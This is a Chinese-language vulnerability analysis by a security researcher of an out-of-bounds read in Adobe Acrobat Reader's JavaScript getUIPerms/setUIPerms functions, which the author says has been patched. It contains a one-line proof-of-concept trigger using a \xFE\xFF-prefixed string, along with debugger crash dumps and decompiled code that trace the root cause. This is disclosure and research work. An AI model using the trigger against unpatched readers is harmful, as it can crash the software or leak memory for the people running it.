作者:o0xmuhe
来源:Adobe Acrobat Reader getUIPerms/setUIPerms Unicode String Out-of-bound Read
Unicode String Out-of-bound Read
8月补丁被xlab撞了,索性就放出来了。
doc
对象的getUIPerms
函数的越界读
app.doc.getUIPerms({cFeatureName:"\xFE\xFFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"})
其实setUIPerms也能触发,但是参数和这个getUIPerms不太一样,但是核心问题都是一样的。
0:000> g (2a70.388): Access violation - code c0000005 (!!! second chance !!!) eax=32d7cf00 ebx=0098cbd0 ecx=00000000 edx=32d7d000 esi=00000068 edi=7fffffff eip=59ca7675 esp=0098ca98 ebp=0098caa4 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 EScript!mozilla::HashBytes+0x47e7f: 59ca7675 8a02 mov al,byte ptr [edx] ds:002b:32d7d000=?? 0:000> k10 # ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 00 0098caa4 59c52b96 EScript!mozilla::HashBytes+0x47e7f 01 0098cab8 59c545c4 EScript!PlugInMain+0x1119 02 0098cad8 59c54331 EScript!PlugInMain+0x2b47 03 0098cb0c 59ca76d5 EScript!PlugInMain+0x28b4 04 0098cb24 59ca29f4 EScript!mozilla::HashBytes+0x47edf 05 0098cb9c 59c93bb3 EScript!mozilla::HashBytes+0x431fe 06 0098cbec 59c93912 EScript!mozilla::HashBytes+0x343bd 07 0098cc64 59ca1f86 EScript!mozilla::HashBytes+0x3411c 08 0098cce0 59c86d06 EScript!mozilla::HashBytes+0x42790 09 0098cd54 59c8175d EScript!mozilla::HashBytes+0x27510 0a 0098d210 59c80606 EScript!mozilla::HashBytes+0x21f67 0b 0098d250 59c80517 EScript!mozilla::HashBytes+0x20e10 0c 0098d28c 59c80460 EScript!mozilla::HashBytes+0x20d21 0d 0098d2bc 59c68ec3 EScript!mozilla::HashBytes+0x20c6a 0e 0098d304 59ca87ac EScript!mozilla::HashBytes+0x96cd 0f 0098d380 59ca84ec EScript!mozilla::HashBytes+0x48fb6 0:000> dd edx-10 32d7cff0 41414141 41414141 41414141 d0004141 32d7d000 ???????? ???????? ???????? ???????? 32d7d010 ???????? ???????? ???????? ???????? 32d7d020 ???????? ???????? ???????? ???????? 32d7d030 ???????? ???????? ???????? ???????? 32d7d040 ???????? ???????? ???????? ???????? 32d7d050 ???????? ???????? ???????? ???????? 32d7d060 ???????? ???????? ???????? ???????? 0:000> dd edx-0x80 32d7cf80 00000067 00001000 00000000 00000000 32d7cf90 0475f34c dcbabbbb 4141fffe 41414141 32d7cfa0 41414141 41414141 41414141 41414141 32d7cfb0 41414141 41414141 41414141 41414141 32d7cfc0 41414141 41414141 41414141 41414141 32d7cfd0 41414141 41414141 41414141 41414141 32d7cfe0 41414141 41414141 41414141 41414141 32d7cff0 41414141 41414141 41414141 d0004141
参数是 \xFE\xFF\x41414141.....
edx
指向参数
读unicode
字符串函数,是没有问题的,应该是上层逻辑的问题,没有做充分的判断,导致用读unicode string
的逻辑去读取了ascii string
。
这就导致,读取了更多的数据,然后就oob
了。
unsigned int __cdecl sub_23802B75(char *a1, unsigned int a2, void (__cdecl *a3)(const wchar_t *, const wchar_t *, const wchar_t *, unsigned int, uintptr_t)) { unsigned int result; // eax if ( a1 && *a1 == 0xFEu && a1[1] == 0xFFu ) result = sub_2385763B(a1, a2, a3); // unicode else result = sub_23802BA9(a1, a2, a3); // ascii string return result; }
调试,漏洞发生时参数信息如下:
可以看到,传入的参数并不是unicode string
,但是却按照unicode string
的代码逻辑去读,所以就越界了。
上一层逻辑中,我们看到,对于读取字符串的逻辑来说,只简单的检查了:
但是这里应该不是root cause
,而且这部分底层逻辑也没啥问题,应该是上层的逻辑出了问题,导致下层代码执行时候崩溃。
问题出在 app.doc.getUIPerms()
函数实现,在参数传递的时候,参数处理考虑不周导致。
需要找这个对象注册方法的地方,找了一圈,发现这个方法的实现在DigSig.api
中。
0:000> da poi(esp+8) 553dfbbc "getUIPerms" 0:000> ln poi(esp+c) (55311705) DigSig!PlugInMain+0x48f3a | (55311705) DigSig!PlugInMain
函数实现如下:
signed __int16 __cdecl sub_2304A63F(int a1, int a2, int a3, int a4) { signed __int16 v5; // bx signed int v6; // esi int v7; // eax char *v8; // edi char v9; // al signed int v10; // ecx const char *v11; // [esp+10h] [ebp-5Ch] int v12; // [esp+14h] [ebp-58h] int v13; // [esp+18h] [ebp-54h] int *v14; // [esp+1Ch] [ebp-50h] int v15; // [esp+20h] [ebp-4Ch] int v16; // [esp+24h] [ebp-48h] int v17; // [esp+28h] [ebp-44h] __int16 v18; // [esp+2Ch] [ebp-40h] __int16 v19; // [esp+2Eh] [ebp-3Eh] int v20; // [esp+30h] [ebp-3Ch] int v21; // [esp+34h] [ebp-38h] int v22; // [esp+38h] [ebp-34h] char v23; // [esp+44h] [ebp-28h] int v24; // [esp+4Ch] [ebp-20h] int v25; // [esp+50h] [ebp-1Ch] int v26; // [esp+54h] [ebp-18h] int v27; // [esp+58h] [ebp-14h] int v28; // [esp+5Ch] [ebp-10h] int v29; // [esp+68h] [ebp-4h] if ( ((int (__cdecl *)(int))gESHFT->ESObjectGetPrivateData)(a1) ) return ((int (__cdecl *)(int, int, int, signed int, _DWORD))gESHFT->ESThrowExceptionExVoid)(a1, a2, a3, 13, 0); v26 = ((int (__cdecl *)(int))gESHFT[1].ESContextInsertErrorReporter)(a1); if ( !v26 ) return ((int (__cdecl *)(int, int, int, signed int, _DWORD))gESHFT->ESThrowExceptionExVoid)(a1, a2, a3, 14, 0); sub_230B7BAB(a1); v11 = "cFeatureName"; v13 = 0; v29 = 0; v14 = &v28; v27 = 0; v18 = 0; v5 = 1; v28 = 0; v12 = 6; v15 = 0; v16 = 0; v17 = 5; v19 = 1; v20 = 0; v21 = 0; if ( ((unsigned __int16 (__cdecl *)(const char **, int, int, int *, int *))gESHFT->ESArgParse)( &v11, v22, a3, &v27, &v24) ) { v6 = -1; sub_23015894(v28, 0); LOBYTE(v29) = 1; v7 = sub_230A5942(0, 5, (void *)2); LOBYTE(v29) = 0; v8 = (char *)v7; sub_230060F3(&v23); if ( v8 ) { v9 = sub_230A23AD(v26, v8); if ( v9 == -1 ) { v6 = 0; } else { v10 = 1; if ( v9 ) v10 = -1; v6 = v10; } (*(void (__cdecl **)(char *))(dword_23101ED8 + 12))(v8); } ((void (__cdecl *)(int, signed int))gESHFT->ESValSetInt32)(a4, v6); } else { v5 = ((int (__cdecl *)(int, int, int, int, int))gESHFT->ESThrowExceptionExVoid)(a1, a2, a3, v24, v25); } sub_2300B652(&v22); return v5; }
但是调试发现,根本没有触发到这里的代码逻辑。
追踪堆内存
address 46df9f98 found in _DPH_HEAP_ROOT @ 5c91000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 471b1820: 46df9f98 67 - 46df9000 2000 5a52abb0 verifier!VerifierDisableFaultInjectionExclusionRange+0x000034c0 7707246b ntdll!RtlDebugAllocateHeap+0x00000039 76fd6dd9 ntdll!RtlpAllocateHeap+0x000000f9 76fd5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179 76fd5d3e ntdll!RtlAllocateHeap+0x0000003e *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\System32\ucrtbase.dll - 74840106 ucrtbase!malloc_base+0x00000026 5782a2bc AcroRd32!AXWasInitViaPDFL+0x000008cf 5782e829 AcroRd32!CTJPEGLibInit+0x00002039 542245d8 EScript!PlugInMain+0x00002b5b //this will call alloc func 54224331 EScript!PlugInMain+0x000028b4 542776d5 EScript!mozilla::HashBytes+0x00047edf 542729f4 EScript!mozilla::HashBytes+0x000431fe 54263bb3 EScript!mozilla::HashBytes+0x000343bd 54263912 EScript!mozilla::HashBytes+0x0003411c 54271f86 EScript!mozilla::HashBytes+0x00042790 54256d06 EScript!mozilla::HashBytes+0x00027510 5425175d EScript!mozilla::HashBytes+0x00021f67 54250606 EScript!mozilla::HashBytes+0x00020e10 54250517 EScript!mozilla::HashBytes+0x00020d21 54250460 EScript!mozilla::HashBytes+0x00020c6a 54238ec3 EScript!mozilla::HashBytes+0x000096cd 542787ac EScript!mozilla::HashBytes+0x00048fb6 542784ec EScript!mozilla::HashBytes+0x00048cf6 542780e5 EScript!mozilla::HashBytes+0x000488ef 542770b4 EScript!mozilla::HashBytes+0x000478be 542e85e9 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x00061731 5803da6f AcroRd32!AIDE::PixelPartInfo::operator=+0x0010536f 57f6723a AcroRd32!AIDE::PixelPartInfo::operator=+0x0002eb3a 57f6345e AcroRd32!AIDE::PixelPartInfo::operator=+0x0002ad5e 57d3002d AcroRd32!AX_PDXlateToHostEx+0x001ff9b5 57d3057c AcroRd32!AX_PDXlateToHostEx+0x001fff04 57f66e8e AcroRd32!AIDE::PixelPartInfo::operator=+0x0002e78e
callstack 和 堆追踪 得到的结果 前部分重合,内存在
这个call里分配,这个call一直到核心dll再到ntdll去分配内存。
分析的参数来源发现:
else if ( a3 == 2 ) { v17 = (*(int (__cdecl **)(_DWORD, void *))(dword_23A65354 + 0x60))(*v4, Src);// // // 0:000> dd 4bc86fe8 // 4bc86fe8 000000cc 4f6d0f30 00000000 00000000 // 4bc86ff8 00000000 00000000 ???????? ???????? // 4bc87008 ???????? ???????? ???????? ???????? // 4bc87018 ???????? ???????? ???????? ???????? // 4bc87028 ???????? ???????? ???????? ???????? // 4bc87038 ???????? ???????? ???????? ???????? // 4bc87048 ???????? ???????? ???????? ???????? // 4bc87058 ???????? ???????? ???????? ???????? // // length str // // unicode str--> ascii str }
这个调用对数据作处理,输入数据:
0:000> dd 4f6d0f30 4f6d0f30 00ff00fe 00410041 00410041 00410041 4f6d0f40 00410041 00410041 00410041 00410041 4f6d0f50 00410041 00410041 00410041 00410041 4f6d0f60 00410041 00410041 00410041 00410041 4f6d0f70 00410041 00410041 00410041 00410041 4f6d0f80 00410041 00410041 00410041 00410041 4f6d0f90 00410041 00410041 00410041 00410041 4f6d0fa0 00410041 00410041 00410041 00410041 0:000> dd 4f6d0f30 + 0xcc 4f6d0ffc d0d00000 ???????? ???????? ???????? 4f6d100c ???????? ???????? ???????? ???????? 4f6d101c ???????? ???????? ???????? ???????? 4f6d102c ???????? ???????? ???????? ???????? 4f6d103c ???????? ???????? ???????? ???????? 4f6d104c ???????? ???????? ???????? ???????? 4f6d105c ???????? ???????? ???????? ???????? 4f6d106c ???????? ???????? ???????? ????????
得到的结果是:
0:000> r eax eax=4b9cef98 0:000> dd eax 4b9cef98 4141fffe 41414141 41414141 41414141 4b9cefa8 41414141 41414141 41414141 41414141 4b9cefb8 41414141 41414141 41414141 41414141 4b9cefc8 41414141 41414141 41414141 41414141 4b9cefd8 41414141 41414141 41414141 41414141 4b9cefe8 41414141 41414141 41414141 41414141 4b9ceff8 41414141 d0004141 ???????? ???????? 4b9cf008 ???????? ???????? ???????? ????????
然后直接把这个buffer
为参数传递给处理函数(此时这是一个ascii string)
0:000> p Breakpoint 2 hit eax=4b9cef98 ebx=0098cec4 ecx=00000000 edx=7fffff99 esi=4b9cef98 edi=0098ce4c eip=529145bf esp=0098ce10 ebp=0098ce28 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 EScript!PlugInMain+0x2b42: 529145bf e8b1e5ffff call EScript!PlugInMain+0x10f8 (52912b75) 0:000> dd esi 4b9cef98 4141fffe 41414141 41414141 41414141 4b9cefa8 41414141 41414141 41414141 41414141 4b9cefb8 41414141 41414141 41414141 41414141 4b9cefc8 41414141 41414141 41414141 41414141 4b9cefd8 41414141 41414141 41414141 41414141 4b9cefe8 41414141 41414141 41414141 41414141 4b9ceff8 41414141 d0004141 ???????? ???????? 4b9cf008 ???????? ???????? ???????? ????????
处理函数判断是不是unicode
,只是判断前两个字符是不是\xFE\xFF
,就走了unicode
逻辑,所以导致越界读。
其实就是上层一点的逻辑对输入的参数没做转换(to unicode),导致后面获取长度的函数处理字符串的时候,误认为\xFE\xFF
开头的就是unicode字符串,然后就越界读取了。
几个月前写的分析了,可能会有错误,有问题欢迎和我沟通 : -)
这个攻击面可能就这么一点一点的消失了吧 :-)
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